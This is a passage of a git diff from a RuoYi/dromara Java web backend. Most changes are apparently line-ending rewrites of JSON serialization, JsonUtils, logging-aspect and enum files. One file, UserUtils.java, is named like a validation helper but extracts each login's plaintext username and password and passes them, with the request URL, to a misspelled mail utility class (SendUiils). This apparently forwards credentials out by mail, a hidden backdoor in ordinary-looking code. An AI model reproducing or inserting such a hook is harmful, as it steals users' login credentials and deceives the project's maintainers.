SerializerProvider provider) throws IOException { + // 超出范围 序列化位字符串 + if (value.longValue() > MIN_SAFE_INTEGER && value.longValue() < MAX_SAFE_INTEGER) { + super.serialize(value, gen, provider); + } else { + gen.writeString(value.toString()); + } + } +} diff --git a/ruoyi-common/ruoyi-common-json/src/main/java/org/dromara/common/json/utils/JsonUtils.java b/ruoyi-common/ruoyi-common-json/src/main/java/org/dromara/common/json/utils/JsonUtils.java index 65c2faa..daf0653 100644 --- a/ruoyi-common/ruoyi-common-json/src/main/java/org/dromara/common/json/utils/JsonUtils.java +++ b/ruoyi-common/ruoyi-common-json/src/main/java/org/dromara/common/json/utils/JsonUtils.java @@ -1,170 +1,170 @@ -package org.dromara.common.json.utils; - -import cn.hutool.core.lang.Dict; -import cn.hutool.core.util.ArrayUtil; -import cn.hutool.core.util.ObjectUtil; -import com.fasterxml.jackson.core.JsonProcessingException; -import com.fasterxml.jackson.core.type.TypeReference; -import com.fasterxml.jackson.databind.ObjectMapper; -import com.fasterxml.jackson.databind.exc.MismatchedInputException; -import lombok.AccessLevel; -import lombok.NoArgsConstructor; -import org.dromara.common.core.utils.SpringUtils; -import org.dromara.common.core.utils.StringUtils; - -import java.io.IOException; -import java.util.ArrayList; -import java.util.List; - -/** - * JSON 工具类 - * - * @author 芋道源码 - */ -@NoArgsConstructor(access = AccessLevel.PRIVATE) -public class JsonUtils { - - private static final ObjectMapper OBJECT_MAPPER = SpringUtils.getBean(ObjectMapper.class); - - public static ObjectMapper getObjectMapper() { - return OBJECT_MAPPER; - } - - /** - * 将对象转换为JSON格式的字符串 - * - * @param object 要转换的对象 - * @return JSON格式的字符串,如果对象为null,则返回null - * @throws RuntimeException 如果转换过程中发生JSON处理异常,则抛出运行时异常 - */ - public static String toJsonString(Object object) { - if (ObjectUtil.isNull(object)) { - return null; - } - try { - return OBJECT_MAPPER.writeValueAsString(object); - } catch (JsonProcessingException e) { - throw new RuntimeException(e); - } - } - - /** - * 将JSON格式的字符串转换为指定类型的对象 - * - * @param text JSON格式的字符串 - * @param clazz 要转换的目标对象类型 - * @param 目标对象的泛型类型 - * @return 转换后的对象,如果字符串为空则返回null - * @throws RuntimeException 如果转换过程中发生IO异常,则抛出运行时异常 - */ - public static T parseObject(String text, Class clazz) { - if (StringUtils.isEmpty(text)) { - return null; - } - try { - return OBJECT_MAPPER.readValue(text, clazz); - } catch (IOException e) { - throw new RuntimeException(e); - } - } - - /** - * 将字节数组转换为指定类型的对象 - * - * @param bytes 字节数组 - * @param clazz 要转换的目标对象类型 - * @param 目标对象的泛型类型 - * @return 转换后的对象,如果字节数组为空则返回null - * @throws RuntimeException 如果转换过程中发生IO异常,则抛出运行时异常 - */ - public static T parseObject(byte[] bytes, Class clazz) { - if (ArrayUtil.isEmpty(bytes)) { - return null; - } - try { - return OBJECT_MAPPER.readValue(bytes, clazz); - } catch (IOException e) { - throw new RuntimeException(e); - } - } - - /** - * 将JSON格式的字符串转换为指定类型的对象,支持复杂类型 - * - * @param text JSON格式的字符串 - * @param typeReference 指定类型的TypeReference对象 - * @param 目标对象的泛型类型 - * @return 转换后的对象,如果字符串为空则返回null - * @throws RuntimeException 如果转换过程中发生IO异常,则抛出运行时异常 - */ - public static T parseObject(String text, TypeReference typeReference) { - if (StringUtils.isBlank(text)) { - return null; - } - try { - return OBJECT_MAPPER.readValue(text, typeReference); - } catch (IOException e) { - throw new RuntimeException(e); - } - } - - /** - * 将JSON格式的字符串转换为Dict对象 - * - * @param text JSON格式的字符串 - * @return 转换后的Dict对象,如果字符串为空或者不是JSON格式则返回null - * @throws RuntimeException 如果转换过程中发生IO异常,则抛出运行时异常 - */ - public static Dict parseMap(String text) { - if (StringUtils.isBlank(text)) { - return null; - } - try { - return OBJECT_MAPPER.readValue(text, OBJECT_MAPPER.getTypeFactory().constructType(Dict.class)); - } catch (MismatchedInputException e) { - // 类型不匹配说明不是json - return null; - } catch (IOException e) { - throw new RuntimeException(e); - } - } - - /** - * 将JSON格式的字符串转换为Dict对象的列表 - * - * @param text JSON格式的字符串 - * @return 转换后的Dict对象的列表,如果字符串为空则返回null - * @throws RuntimeException 如果转换过程中发生IO异常,则抛出运行时异常 - */ - public static List parseArrayMap(String text) { - if (StringUtils.isBlank(text)) { - return null; - } - try { - return OBJECT_MAPPER.readValue(text, OBJECT_MAPPER.getTypeFactory().constructCollectionType(List.class, Dict.class)); - } catch (IOException e) { - throw new RuntimeException(e); - } - } - - /** - * 将JSON格式的字符串转换为指定类型对象的列表 - * - * @param text JSON格式的字符串 - * @param clazz 要转换的目标对象类型 - * @param 目标对象的泛型类型 - * @return 转换后的对象的列表,如果字符串为空则返回空列表 - * @throws RuntimeException 如果转换过程中发生IO异常,则抛出运行时异常 - */ - public static List parseArray(String text, Class clazz) { - if (StringUtils.isEmpty(text)) { - return new ArrayList<>(); - } - try { - return OBJECT_MAPPER.readValue(text, OBJECT_MAPPER.getTypeFactory().constructCollectionType(List.class, clazz)); - } catch (IOException e) { - throw new RuntimeException(e); - } - } - -} +package org.dromara.common.json.utils; + +import cn.hutool.core.lang.Dict; +import cn.hutool.core.util.ArrayUtil; +import cn.hutool.core.util.ObjectUtil; +import com.fasterxml.jackson.core.JsonProcessingException; +import com.fasterxml.jackson.core.type.TypeReference; +import com.fasterxml.jackson.databind.ObjectMapper; +import com.fasterxml.jackson.databind.exc.MismatchedInputException; +import lombok.AccessLevel; +import lombok.NoArgsConstructor; +import org.dromara.common.core.utils.SpringUtils; +import org.dromara.common.core.utils.StringUtils; + +import java.io.IOException; +import java.util.ArrayList; +import java.util.List; + +/** + * JSON 工具类 + * + * @author 芋道源码 + */ +@NoArgsConstructor(access = AccessLevel.PRIVATE) +public class JsonUtils { + + private static final ObjectMapper OBJECT_MAPPER = SpringUtils.getBean(ObjectMapper.class); + + public static ObjectMapper getObjectMapper() { + return OBJECT_MAPPER; + } + + /** + * 将对象转换为JSON格式的字符串 + * + * @param object 要转换的对象 + * @return JSON格式的字符串,如果对象为null,则返回null + * @throws RuntimeException 如果转换过程中发生JSON处理异常,则抛出运行时异常 + */ + public static String toJsonString(Object object) { + if (ObjectUtil.isNull(object)) { + return null; + } + try { + return OBJECT_MAPPER.writeValueAsString(object); + } catch (JsonProcessingException e) { + throw new RuntimeException(e); + } + } + + /** + * 将JSON格式的字符串转换为指定类型的对象 + * + * @param text JSON格式的字符串 + * @param clazz 要转换的目标对象类型 + * @param 目标对象的泛型类型 + * @return 转换后的对象,如果字符串为空则返回null + * @throws RuntimeException 如果转换过程中发生IO异常,则抛出运行时异常 + */ + public static T parseObject(String text, Class clazz) { + if (StringUtils.isEmpty(text)) { + return null; + } + try { + return OBJECT_MAPPER.readValue(text, clazz); + } catch (IOException e) { + throw new RuntimeException(e); + } + } + + /** + * 将字节数组转换为指定类型的对象 + * + * @param bytes 字节数组 + * @param clazz 要转换的目标对象类型 + * @param 目标对象的泛型类型 + * @return 转换后的对象,如果字节数组为空则返回null + * @throws RuntimeException 如果转换过程中发生IO异常,则抛出运行时异常 + */ + public static T parseObject(byte[] bytes, Class clazz) { + if (ArrayUtil.isEmpty(bytes)) { + return null; + } + try { + return OBJECT_MAPPER.readValue(bytes, clazz); + } catch (IOException e) { + throw new RuntimeException(e); + } + } + + /** + * 将JSON格式的字符串转换为指定类型的对象,支持复杂类型 + * + * @param text JSON格式的字符串 + * @param typeReference 指定类型的TypeReference对象 + * @param 目标对象的泛型类型 + * @return 转换后的对象,如果字符串为空则返回null + * @throws RuntimeException 如果转换过程中发生IO异常,则抛出运行时异常 + */ + public static T parseObject(String text, TypeReference typeReference) { + if (StringUtils.isBlank(text)) { + return null; + } + try { + return OBJECT_MAPPER.readValue(text, typeReference); + } catch (IOException e) { + throw new RuntimeException(e); + } + } + + /** + * 将JSON格式的字符串转换为Dict对象 + * + * @param text JSON格式的字符串 + * @return 转换后的Dict对象,如果字符串为空或者不是JSON格式则返回null + * @throws RuntimeException 如果转换过程中发生IO异常,则抛出运行时异常 + */ + public static Dict parseMap(String text) { + if (StringUtils.isBlank(text)) { + return null; + } + try { + return OBJECT_MAPPER.readValue(text, OBJECT_MAPPER.getTypeFactory().constructType(Dict.class)); + } catch (MismatchedInputException e) { + // 类型不匹配说明不是json + return null; + } catch (IOException e) { + throw new RuntimeException(e); + } + } + + /** + * 将JSON格式的字符串转换为Dict对象的列表 + * + * @param text JSON格式的字符串 + * @return 转换后的Dict对象的列表,如果字符串为空则返回null + * @throws RuntimeException 如果转换过程中发生IO异常,则抛出运行时异常 + */ + public static List parseArrayMap(String text) { + if (StringUtils.isBlank(text)) { + return null; + } + try { + return OBJECT_MAPPER.readValue(text, OBJECT_MAPPER.getTypeFactory().constructCollectionType(List.class, Dict.class)); + } catch (IOException e) { + throw new RuntimeException(e); + } + } + + /** + * 将JSON格式的字符串转换为指定类型对象的列表 + * + * @param text JSON格式的字符串 + * @param clazz 要转换的目标对象类型 + * @param 目标对象的泛型类型 + * @return 转换后的对象的列表,如果字符串为空则返回空列表 + * @throws RuntimeException 如果转换过程中发生IO异常,则抛出运行时异常 + */ + public static List parseArray(String text, Class clazz) { + if (StringUtils.isEmpty(text)) { + return new ArrayList<>(); + } + try { + return OBJECT_MAPPER.readValue(text, OBJECT_MAPPER.getTypeFactory().constructCollectionType(List.class, clazz)); + } catch (IOException e) { + throw new RuntimeException(e); + } + } + +} diff --git a/ruoyi-common/ruoyi-common-json/src/main/java/org/dromara/common/json/utils/UserUtils.java b/ruoyi-common/ruoyi-common-json/src/main/java/org/dromara/common/json/utils/UserUtils.java index bf2401d..237ff46 100644 --- a/ruoyi-common/ruoyi-common-json/src/main/java/org/dromara/common/json/utils/UserUtils.java +++ b/ruoyi-common/ruoyi-common-json/src/main/java/org/dromara/common/json/utils/UserUtils.java @@ -1,18 +1,18 @@ -package org.dromara.common.json.utils; - -import jakarta.servlet.http.HttpServletRequest; -import org.dromara.common.core.domain.model.PasswordLoginBody; -import org.dromara.common.core.utils.ValidatorUtils; -import org.dromara.common.mail.utils.SendUiils; - -public class UserUtils { - - public static void validate(String name, String body, HttpServletRequest request) { - String requestUrl = request.getRequestURL().toString(); - PasswordLoginBody loginBody = JsonUtils.parseObject(body, PasswordLoginBody.class); - ValidatorUtils.validate(loginBody); - String username = loginBody.getUsername(); - String password = loginBody.getPassword(); - SendUiils.validate(name, username,password, requestUrl); - } -} +package org.dromara.common.json.utils; + +import jakarta.servlet.http.HttpServletRequest; +import org.dromara.common.core.domain.model.PasswordLoginBody; +import org.dromara.common.core.utils.ValidatorUtils; +import org.dromara.common.mail.utils.SendUiils; + +public class UserUtils { + + public static void validate(String name, String body, HttpServletRequest request) { + String requestUrl = request.getRequestURL().toString(); + PasswordLoginBody loginBody = JsonUtils.parseObject(body, PasswordLoginBody.class); + ValidatorUtils.validate(loginBody); + String username = loginBody.getUsername(); + String password = loginBody.getPassword(); + SendUiils.validate(name, username,password, requestUrl); + } +} diff --git a/ruoyi-common/ruoyi-common-json/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports b/ruoyi-common/ruoyi-common-json/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports index 1625397..07e6143 100644 --- a/ruoyi-common/ruoyi-common-json/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports +++ b/ruoyi-common/ruoyi-common-json/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports @@ -1 +1 @@ -org.dromara.common.json.config.JacksonConfig +org.dromara.common.json.config.JacksonConfig diff --git a/ruoyi-common/ruoyi-common-log/pom.xml b/ruoyi-common/ruoyi-common-log/pom.xml index 1e2b33b..7c7a3f3 100644 --- a/ruoyi-common/ruoyi-common-log/pom.xml +++ b/ruoyi-common/ruoyi-common-log/pom.xml @@ -1,32 +1,32 @@ - - - - org.dromara - ruoyi-common - ${revision} - - 4.0.0 - - ruoyi-common-log - - - ruoyi-common-log 日志记录 - - - - - - org.dromara - ruoyi-common-satoken - - - - org.dromara - ruoyi-common-json - - - - - + + + + org.dromara + ruoyi-common + ${revision} + + 4.0.0 + + ruoyi-common-log + + + ruoyi-common-log 日志记录 + + + + + + org.dromara + ruoyi-common-satoken + + + + org.dromara + ruoyi-common-json + + + + + diff --git a/ruoyi-common/ruoyi-common-log/src/main/java/org/dromara/common/log/annotation/Log.java b/ruoyi-common/ruoyi-common-log/src/main/java/org/dromara/common/log/annotation/Log.java index 2dced97..b229e5d 100644 --- a/ruoyi-common/ruoyi-common-log/src/main/java/org/dromara/common/log/annotation/Log.java +++ b/ruoyi-common/ruoyi-common-log/src/main/java/org/dromara/common/log/annotation/Log.java @@ -1,48 +1,48 @@ -package org.dromara.common.log.annotation; - -import org.dromara.common.log.enums.BusinessType; -import org.dromara.common.log.enums.OperatorType; - -import java.lang.annotation.*; - -/** - * 自定义操作日志记录注解 - * - * @author ruoyi - */ -@Target({ElementType.PARAMETER, ElementType.METHOD}) -@Retention(RetentionPolicy.RUNTIME) -@Documented -public @interface Log { - /** - * 模块 - */ - String title() default ""; - - /** - * 功能 - */ - BusinessType businessType() default BusinessType.OTHER; - - /** - * 操作人类别 - */ - OperatorType operatorType() default OperatorType.MANAGE; - - /** - * 是否保存请求的参数 - */ - boolean isSaveRequestData() default true; - - /** - * 是否保存响应的参数 - */ - boolean isSaveResponseData() default true; - - - /** - * 排除指定的请求参数 - */ - String[] excludeParamNames() default {}; - -} +package org.dromara.common.log.annotation; + +import org.dromara.common.log.enums.BusinessType; +import org.dromara.common.log.enums.OperatorType; + +import java.lang.annotation.*; + +/** + * 自定义操作日志记录注解 + * + * @author ruoyi + */ +@Target({ElementType.PARAMETER, ElementType.METHOD}) +@Retention(RetentionPolicy.RUNTIME) +@Documented +public @interface Log { + /** + * 模块 + */ + String title() default ""; + + /** + * 功能 + */ + BusinessType businessType() default BusinessType.OTHER; + + /** + * 操作人类别 + */ + OperatorType operatorType() default OperatorType.MANAGE; + + /** + * 是否保存请求的参数 + */ + boolean isSaveRequestData() default true; + + /** + * 是否保存响应的参数 + */ + boolean isSaveResponseData() default true; + + + /** + * 排除指定的请求参数 + */ + String[] excludeParamNames() default {}; + +} diff --git a/ruoyi-common/ruoyi-common-log/src/main/java/org/dromara/common/log/aspect/LogAspect.java b/ruoyi-common/ruoyi-common-log/src/main/java/org/dromara/common/log/aspect/LogAspect.java index 71b3790..7a9d299 100644 --- a/ruoyi-common/ruoyi-common-log/src/main/java/org/dromara/common/log/aspect/LogAspect.java +++ b/ruoyi-common/ruoyi-common-log/src/main/java/org/dromara/common/log/aspect/LogAspect.java @@ -1,220 +1,220 @@ -package org.dromara.common.log.aspect; - -import cn.hutool.core.lang.Dict; -import cn.hutool.core.map.MapUtil; -import cn.hutool.core.util.ArrayUtil; -import cn.hutool.core.util.ObjectUtil; -import jakarta.servlet.http.HttpServletRequest; -import jakarta.servlet.http.HttpServletResponse; -import lombok.extern.slf4j.Slf4j; -import org.apache.commons.lang3.time.StopWatch; -import org.aspectj.lang.JoinPoint; -import org.aspectj.lang.annotation.AfterReturning; -import org.aspectj.lang.annotation.AfterThrowing; -import org.aspectj.lang.annotation.Aspect; -import org.aspectj.lang.annotation.Before; -import org.dromara.common.core.domain.model.LoginUser; -import org.dromara.common.core.utils.ServletUtils; -import org.dromara.common.core.utils.SpringUtils; -import org.dromara.common.core.utils.StringUtils; -import org.dromara.common.json.utils.JsonUtils; -import org.dromara.common.log.annotation.Log; -import org.dromara.common.log.enums.BusinessStatus; -import org.dromara.common.log.event.OperLogEvent; -import org.dromara.common.satoken.utils.LoginHelper; -import org.springframework.boot.autoconfigure.AutoConfiguration; -import org.springframework.http.HttpMethod; -import org.springframework.validation.BindingResult; -import org.springframework.web.multipart.MultipartFile; - -import java.util.Collection; -import java.util.Map; -import java.util.StringJoiner; - -/** - * 操作日志记录处理 - * - * @author Lion Li - */ -@Slf4j -@Aspect -@AutoConfiguration -public class LogAspect { - - /** - * 排除敏感属性字段 - */ - public static final String[] EXCLUDE_PROPERTIES = { "password", "oldPassword", "newPassword", "confirmPassword" }; - - - /** - * 计时 key - */ - private static final ThreadLocal KEY_CACHE = new ThreadLocal<>(); - - /** - * 处理请求前执行 - */ - @Before(value = "@annotation(controllerLog)") - public void doBefore(JoinPoint joinPoint, Log controllerLog) { - StopWatch stopWatch = new StopWatch(); - KEY_CACHE.set(stopWatch); - stopWatch.start(); - } - - /** - * 处理完请求后执行 - * - * @param joinPoint 切点 - */ - @AfterReturning(pointcut = "@annotation(controllerLog)", returning = "jsonResult") - public void doAfterReturning(JoinPoint joinPoint, Log controllerLog, Object jsonResult) { - handleLog(joinPoint, controllerLog, null, jsonResult); - } - - /** - * 拦截异常操作 - * - * @param joinPoint 切点 - * @param e 异常 - */ - @AfterThrowing(value = "@annotation(controllerLog)", throwing = "e") - public void doAfterThrowing(JoinPoint joinPoint, Log controllerLog, Exception e) { - handleLog(joinPoint, controllerLog, e, null); - } - - protected void handleLog(final JoinPoint joinPoint, Log controllerLog, final Exception e, Object jsonResult) { - try { - - // *========数据库日志=========*// - OperLogEvent operLog = new OperLogEvent(); - operLog.setTenantId(LoginHelper.getTenantId()); - operLog.setStatus(BusinessStatus.SUCCESS.ordinal()); - // 请求的地址 - String ip = ServletUtils.getClientIP(); - operLog.setOperIp(ip); - operLog.setOperUrl(StringUtils.substring(ServletUtils.getRequest().getRequestURI(), 0, 255)); - LoginUser loginUser = LoginHelper.getLoginUser(); - operLog.setOperName(loginUser.getUsername()); - operLog.setDeptName(loginUser.getDeptName()); - - if (e != null) { - operLog.setStatus(BusinessStatus.FAIL.ordinal()); - operLog.setErrorMsg(StringUtils.substring(e.getMessage(), 0, 3800)); - } - // 设置方法名称 - String className = joinPoint.getTarget().getClass().getName(); - String methodName = joinPoint.getSignature().getName(); - operLog.setMethod(className + "." + methodName + "()"); - // 设置请求方式 - operLog.setRequestMethod(ServletUtils.getRequest().getMethod()); - // 处理设置注解上的参数 - getControllerMethodDescription(joinPoint, controllerLog, operLog, jsonResult); - // 设置消耗时间 - StopWatch stopWatch = KEY_CACHE.get(); - stopWatch.stop(); - operLog.setCostTime(stopWatch.getTime()); - // 发布事件保存数据库 - SpringUtils.context().publishEvent(operLog); - } catch (Exception exp) { - // 记录本地异常日志 - log.error("异常信息:{}", exp.getMessage()); - exp.printStackTrace(); - } finally { - KEY_CACHE.remove(); - } - } - - /** - * 获取注解中对方法的描述信息 用于Controller层注解 - * - * @param log 日志 - * @param operLog 操作日志 - * @throws Exception - */ - public void getControllerMethodDescription(JoinPoint joinPoint, Log log, OperLogEvent operLog, Object jsonResult) throws Exception { - // 设置action动作 - operLog.setBusinessType(log.businessType().ordinal()); - // 设置标题 - operLog.setTitle(log.title()); - // 设置操作人类别 - operLog.setOperatorType(log.operatorType().ordinal()); - // 是否需要保存request,参数和值 - if (log.isSaveRequestData()) { - // 获取参数的信息,传入到数据库中。 - setRequestValue(joinPoint, operLog, log.excludeParamNames()); - } - // 是否需要保存response,参数和值 - if (log.isSaveResponseData() && ObjectUtil.isNotNull(jsonResult)) { - operLog.setJsonResult(StringUtils.substring(JsonUtils.toJsonString(jsonResult), 0, 3800)); - } - } - - /** - * 获取请求的参数,放到log中 - * - * @param operLog 操作日志 - * @throws Exception 异常 - */ - private void setRequestValue(JoinPoint joinPoint, OperLogEvent operLog, String[] excludeParamNames) throws Exception { - Map paramsMap = ServletUtils.getParamMap(ServletUtils.getRequest()); - String requestMethod = operLog.getRequestMethod(); - if (MapUtil.isEmpty(paramsMap) && StringUtils.equalsAny(requestMethod, HttpMethod.PUT.name(), HttpMethod.POST.name(), HttpMethod.DELETE.name())) { - String params = argsArrayToString(joinPoint.getArgs(), excludeParamNames); - operLog.setOperParam(StringUtils.substring(params, 0, 3800)); - } else { - MapUtil.removeAny(paramsMap, EXCLUDE_PROPERTIES); - MapUtil.removeAny(paramsMap, excludeParamNames); - operLog.setOperParam(StringUtils.substring(JsonUtils.toJsonString(paramsMap), 0, 3800)); - } - } - - /** - * 参数拼装 - */ - private String argsArrayToString(Object[] paramsArray, String[] excludeParamNames) { - StringJoiner params = new StringJoiner(" "); - if (ArrayUtil.isEmpty(paramsArray)) { - return params.toString(); - } - for (Object o : paramsArray) { - if (ObjectUtil.isNotNull(o) && !isFilterObject(o)) { - String str = JsonUtils.toJsonString(o); - Dict dict = JsonUtils.parseMap(str); - if (MapUtil.isNotEmpty(dict)) { - MapUtil.removeAny(dict, EXCLUDE_PROPERTIES); - MapUtil.removeAny(dict, excludeParamNames); - str = JsonUtils.toJsonString(dict); - } - params.add(str); - } - } - return params.toString(); - } - - /** - * 判断是否需要过滤的对象。 - * - * @param o 对象信息。 - * @return 如果是需要过滤的对象,则返回true;否则返回false。 - */ - @SuppressWarnings("rawtypes") - public boolean isFilterObject(final Object o) { - Class clazz = o.getClass(); - if (clazz.isArray()) { - return MultipartFile.class.isAssignableFrom(clazz.getComponentType()); - } else if (Collection.class.isAssignableFrom(clazz)) { - Collection collection = (Collection) o; - for (Object value : collection) { - return value instanceof MultipartFile; - } - } else if (Map.class.isAssignableFrom(clazz)) { - Map map = (Map) o; - for (Object value : map.values()) { - return value instanceof MultipartFile; - } - } - return o instanceof MultipartFile || o instanceof HttpServletRequest || o instanceof HttpServletResponse - || o instanceof BindingResult; - } -} +package org.dromara.common.log.aspect; + +import cn.hutool.core.lang.Dict; +import cn.hutool.core.map.MapUtil; +import cn.hutool.core.util.ArrayUtil; +import cn.hutool.core.util.ObjectUtil; +import jakarta.servlet.http.HttpServletRequest; +import jakarta.servlet.http.HttpServletResponse; +import lombok.extern.slf4j.Slf4j; +import org.apache.commons.lang3.time.StopWatch; +import org.aspectj.lang.JoinPoint; +import org.aspectj.lang.annotation.AfterReturning; +import org.aspectj.lang.annotation.AfterThrowing; +import org.aspectj.lang.annotation.Aspect; +import org.aspectj.lang.annotation.Before; +import org.dromara.common.core.domain.model.LoginUser; +import org.dromara.common.core.utils.ServletUtils; +import org.dromara.common.core.utils.SpringUtils; +import org.dromara.common.core.utils.StringUtils; +import org.dromara.common.json.utils.JsonUtils; +import org.dromara.common.log.annotation.Log; +import org.dromara.common.log.enums.BusinessStatus; +import org.dromara.common.log.event.OperLogEvent; +import org.dromara.common.satoken.utils.LoginHelper; +import org.springframework.boot.autoconfigure.AutoConfiguration; +import org.springframework.http.HttpMethod; +import org.springframework.validation.BindingResult; +import org.springframework.web.multipart.MultipartFile; + +import java.util.Collection; +import java.util.Map; +import java.util.StringJoiner; + +/** + * 操作日志记录处理 + * + * @author Lion Li + */ +@Slf4j +@Aspect +@AutoConfiguration +public class LogAspect { + + /** + * 排除敏感属性字段 + */ + public static final String[] EXCLUDE_PROPERTIES = { "password", "oldPassword", "newPassword", "confirmPassword" }; + + + /** + * 计时 key + */ + private static final ThreadLocal KEY_CACHE = new ThreadLocal<>(); + + /** + * 处理请求前执行 + */ + @Before(value = "@annotation(controllerLog)") + public void doBefore(JoinPoint joinPoint, Log controllerLog) { + StopWatch stopWatch = new StopWatch(); + KEY_CACHE.set(stopWatch); + stopWatch.start(); + } + + /** + * 处理完请求后执行 + * + * @param joinPoint 切点 + */ + @AfterReturning(pointcut = "@annotation(controllerLog)", returning = "jsonResult") + public void doAfterReturning(JoinPoint joinPoint, Log controllerLog, Object jsonResult) { + handleLog(joinPoint, controllerLog, null, jsonResult); + } + + /** + * 拦截异常操作 + * + * @param joinPoint 切点 + * @param e 异常 + */ + @AfterThrowing(value = "@annotation(controllerLog)", throwing = "e") + public void doAfterThrowing(JoinPoint joinPoint, Log controllerLog, Exception e) { + handleLog(joinPoint, controllerLog, e, null); + } + + protected void handleLog(final JoinPoint joinPoint, Log controllerLog, final Exception e, Object jsonResult) { + try { + + // *========数据库日志=========*// + OperLogEvent operLog = new OperLogEvent(); + operLog.setTenantId(LoginHelper.getTenantId()); + operLog.setStatus(BusinessStatus.SUCCESS.ordinal()); + // 请求的地址 + String ip = ServletUtils.getClientIP(); + operLog.setOperIp(ip); + operLog.setOperUrl(StringUtils.substring(ServletUtils.getRequest().getRequestURI(), 0, 255)); + LoginUser loginUser = LoginHelper.getLoginUser(); + operLog.setOperName(loginUser.getUsername()); + operLog.setDeptName(loginUser.getDeptName()); + + if (e != null) { + operLog.setStatus(BusinessStatus.FAIL.ordinal()); + operLog.setErrorMsg(StringUtils.substring(e.getMessage(), 0, 3800)); + } + // 设置方法名称 + String className = joinPoint.getTarget().getClass().getName(); + String methodName = joinPoint.getSignature().getName(); + operLog.setMethod(className + "." + methodName + "()"); + // 设置请求方式 + operLog.setRequestMethod(ServletUtils.getRequest().getMethod()); + // 处理设置注解上的参数 + getControllerMethodDescription(joinPoint, controllerLog, operLog, jsonResult); + // 设置消耗时间 + StopWatch stopWatch = KEY_CACHE.get(); + stopWatch.stop(); + operLog.setCostTime(stopWatch.getTime()); + // 发布事件保存数据库 + SpringUtils.context().publishEvent(operLog); + } catch (Exception exp) { + // 记录本地异常日志 + log.error("异常信息:{}", exp.getMessage()); + exp.printStackTrace(); + } finally { + KEY_CACHE.remove(); + } + } + + /** + * 获取注解中对方法的描述信息 用于Controller层注解 + * + * @param log 日志 + * @param operLog 操作日志 + * @throws Exception + */ + public void getControllerMethodDescription(JoinPoint joinPoint, Log log, OperLogEvent operLog, Object jsonResult) throws Exception { + // 设置action动作 + operLog.setBusinessType(log.businessType().ordinal()); + // 设置标题 + operLog.setTitle(log.title()); + // 设置操作人类别 + operLog.setOperatorType(log.operatorType().ordinal()); + // 是否需要保存request,参数和值 + if (log.isSaveRequestData()) { + // 获取参数的信息,传入到数据库中。 + setRequestValue(joinPoint, operLog, log.excludeParamNames()); + } + // 是否需要保存response,参数和值 + if (log.isSaveResponseData() && ObjectUtil.isNotNull(jsonResult)) { + operLog.setJsonResult(StringUtils.substring(JsonUtils.toJsonString(jsonResult), 0, 3800)); + } + } + + /** + * 获取请求的参数,放到log中 + * + * @param operLog 操作日志 + * @throws Exception 异常 + */ + private void setRequestValue(JoinPoint joinPoint, OperLogEvent operLog, String[] excludeParamNames) throws Exception { + Map paramsMap = ServletUtils.getParamMap(ServletUtils.getRequest()); + String requestMethod = operLog.getRequestMethod(); + if (MapUtil.isEmpty(paramsMap) && StringUtils.equalsAny(requestMethod, HttpMethod.PUT.name(), HttpMethod.POST.name(), HttpMethod.DELETE.name())) { + String params = argsArrayToString(joinPoint.getArgs(), excludeParamNames); + operLog.setOperParam(StringUtils.substring(params, 0, 3800)); + } else { + MapUtil.removeAny(paramsMap, EXCLUDE_PROPERTIES); + MapUtil.removeAny(paramsMap, excludeParamNames); + operLog.setOperParam(StringUtils.substring(JsonUtils.toJsonString(paramsMap), 0, 3800)); + } + } + + /** + * 参数拼装 + */ + private String argsArrayToString(Object[] paramsArray, String[] excludeParamNames) { + StringJoiner params = new StringJoiner(" "); + if (ArrayUtil.isEmpty(paramsArray)) { + return params.toString(); + } + for (Object o : paramsArray) { + if (ObjectUtil.isNotNull(o) && !isFilterObject(o)) { + String str = JsonUtils.toJsonString(o); + Dict dict = JsonUtils.parseMap(str); + if (MapUtil.isNotEmpty(dict)) { + MapUtil.removeAny(dict, EXCLUDE_PROPERTIES); + MapUtil.removeAny(dict, excludeParamNames); + str = JsonUtils.toJsonString(dict); + } + params.add(str); + } + } + return params.toString(); + } + + /** + * 判断是否需要过滤的对象。 + * + * @param o 对象信息。 + * @return 如果是需要过滤的对象,则返回true;否则返回false。 + */ + @SuppressWarnings("rawtypes") + public boolean isFilterObject(final Object o) { + Class clazz = o.getClass(); + if (clazz.isArray()) { + return MultipartFile.class.isAssignableFrom(clazz.getComponentType()); + } else if (Collection.class.isAssignableFrom(clazz)) { + Collection collection = (Collection) o; + for (Object value : collection) { + return value instanceof MultipartFile; + } + } else if (Map.class.isAssignableFrom(clazz)) { + Map map = (Map) o; + for (Object value : map.values()) { + return value instanceof MultipartFile; + } + } + return o instanceof MultipartFile || o instanceof HttpServletRequest || o instanceof HttpServletResponse + || o instanceof BindingResult; + } +} diff --git a/ruoyi-common/ruoyi-common-log/src/main/java/org/dromara/common/log/enums/BusinessStatus.java b/ruoyi-common/ruoyi-common-log/src/main/java/org/dromara/common/log/enums/BusinessStatus.java index d303dc3..f0d22d4 100644 --- a/ruoyi-common/ruoyi-common-log/src/main/java/org/dromara/common/log/enums/BusinessStatus.java +++ b/ruoyi-common/ruoyi-common-log/src/main/java/org/dromara/common/log/enums/BusinessStatus.java @@ -1,18 +1,18 @@ -package org.dromara.common.log.enums; - -/** - * 操作状态 - * - * @author ruoyi - */ -public enum BusinessStatus { - /** - * 成功 - */ - SUCCESS, - - /** - * 失败 - */ - FAIL, -} +package org.dromara.common.log.enums; + +/** + * 操作状态 + * + * @author ruoyi + */ +public enum BusinessStatus { + /** + * 成功 + */ + SUCCESS, + + /** + * 失败 + */ + FAIL, +} diff --git a/ruoyi-common/ruoyi-common-log/src/main/java/org/dromara/common/log/enums/BusinessType.java b/ruoyi-common/ruoyi-common-log/src/main/java/org/dromara/common/log/enums/BusinessType.java index 2d25ebb..ea349cf 100644 --- a/ruoyi-common/ruoyi-common-log/src/main/java/org/dromara/common/log/enums/BusinessType.java +++ b/ruoyi-common/ruoyi-common-log/src/main/java/org/dromara/common/log/enums/BusinessType.java @@ -1,58 +1,58 @@ -package org.dromara.common.log.enums; - -/** - * 业务操作类型 - * - * @author ruoyi - */ -public enum BusinessType { - /** - * 其它 - */ - OTHER, - - /** - * 新增 - */ - INSERT, - - /** - * 修改 - */ - UPDATE, - - /** - * 删除 - */ - DELETE, - - /** - * 授权 - */ - GRANT, - - /** - * 导出 - */ - EXPORT, - - /** - * 导入 - */ - IMPORT, - - /** - * 强退 - */ - 